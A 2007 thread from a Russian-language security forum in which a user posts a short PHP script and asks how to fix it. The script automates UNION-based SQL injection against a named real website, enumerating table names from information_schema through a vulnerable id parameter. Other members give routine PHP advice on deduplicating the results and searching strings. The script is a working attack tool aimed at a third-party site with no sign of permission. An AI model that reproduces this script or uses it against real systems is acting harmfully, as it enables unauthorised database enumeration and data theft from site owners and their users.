HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Скрипт
  #1  
Старый 21.02.2007, 16:58
Termin@L
Участник форума
Регистрация: 07.12.2006
Сообщений: 192
Провел на форуме:
492591

Репутация: 123
По умолчанию Скрипт

Я бы поместил этот скрипт в соответствующий раздел, но он не доработан, т.к он достаточно короткий, то коментариев не писал, вроде всё понятно, суть его такова, все знают что в мускуле 5 появилась information_schema.tables - крайне полезная вещь, так вот иногда очень влом перебирать все таблицы в ручную, поэтому я решил написать прогу, которая сама это делает, от вас требуется указать адрес как в примере, примерное кол-во таблиц и слово стоящее в строке с печатаемым полем...
А теперь вопрос - как сделать, чтобы после нахождения на странице 1 необходимого слова, начиналась проверяться следующая, другой вопрос - как сделать так, чтобы функция strpos() искала и хтмл-теги.
PHP код:
<?php
$host
='www.vera-nn.ru';
$url='http://www.vera-nn.ru/credit.php?id=-1+union+select+table_name%20from%20information_schema.tables';
$amt=5;
$nrst='Кредит';
for(
$it=0;$it<$amt;$it++){
$itt=$it+1;
$url1=$url."%20limit%20$it,$itt/*";
$fin=fsockopen($host,80);
fputs($fin,"GET $url1 / HTTP/1.1\r\n");
fputs($fin,"Hostname: $host\r\n");
fputs($fin,"Connection: close\r\n");
fputs($fin,"\r\n");
while(!
feof($fin))
$ans[]=fgets($fin);
fclose($fin);
for(
$i=0;$i<sizeof($ans);$i++){
$srch=$ans[$i];

$tst=strpos($srch,$nrst);
if(!empty(
$tst))
$res[]=$ans[$i];
unset(
$tst);
}
echo 
"$it done\n";
}
for(
$i=0;$i<sizeof($res);$i++)
echo 
"$res[$i]\n";
?>
P.S. Ну или хотябы как очистить массив $res от повторений?
 
Ответить с цитированием

  #2  
Старый 21.02.2007, 17:28
k1b0rg
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме:
4520553

Репутация: 1316


По умолчанию

array_unique есть функция в php


Цитата:
while(!feof($fin))
$ans[]=fgets($fin);
fclose($fin);
имхо это не исть гуд...

Последний раз редактировалось k1b0rg; 21.02.2007 в 17:30..
 
Ответить с цитированием

  #3  
Старый 21.02.2007, 20:01
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


Отправить сообщение для nc.STRIEM с помощью ICQ
По умолчанию

Цитата:
как сделать так, чтобы функция strpos() искала и хтмл-теги.
в данном случае используй str_str()
 
Ответить с цитированием

  #4  
Старый 21.02.2007, 22:45
Termin@L
Участник форума
Регистрация: 07.12.2006
Сообщений: 192
Провел на форуме:
492591

Репутация: 123
По умолчанию

всем спасибо,
2 киборг, почему?
кстати array_unique почему-то не работает, я уже пробовал
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Разные скрипты r@mbler PHP 4 06.03.2007 18:08
Скрипт для MySQL piton Уязвимости 3 13.01.2007 20:40
Скрипт для брута... Allen PHP 4 07.03.2006 01:28
Php скрипт для отправки писем... Allen PHP 6 21.02.2006 22:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ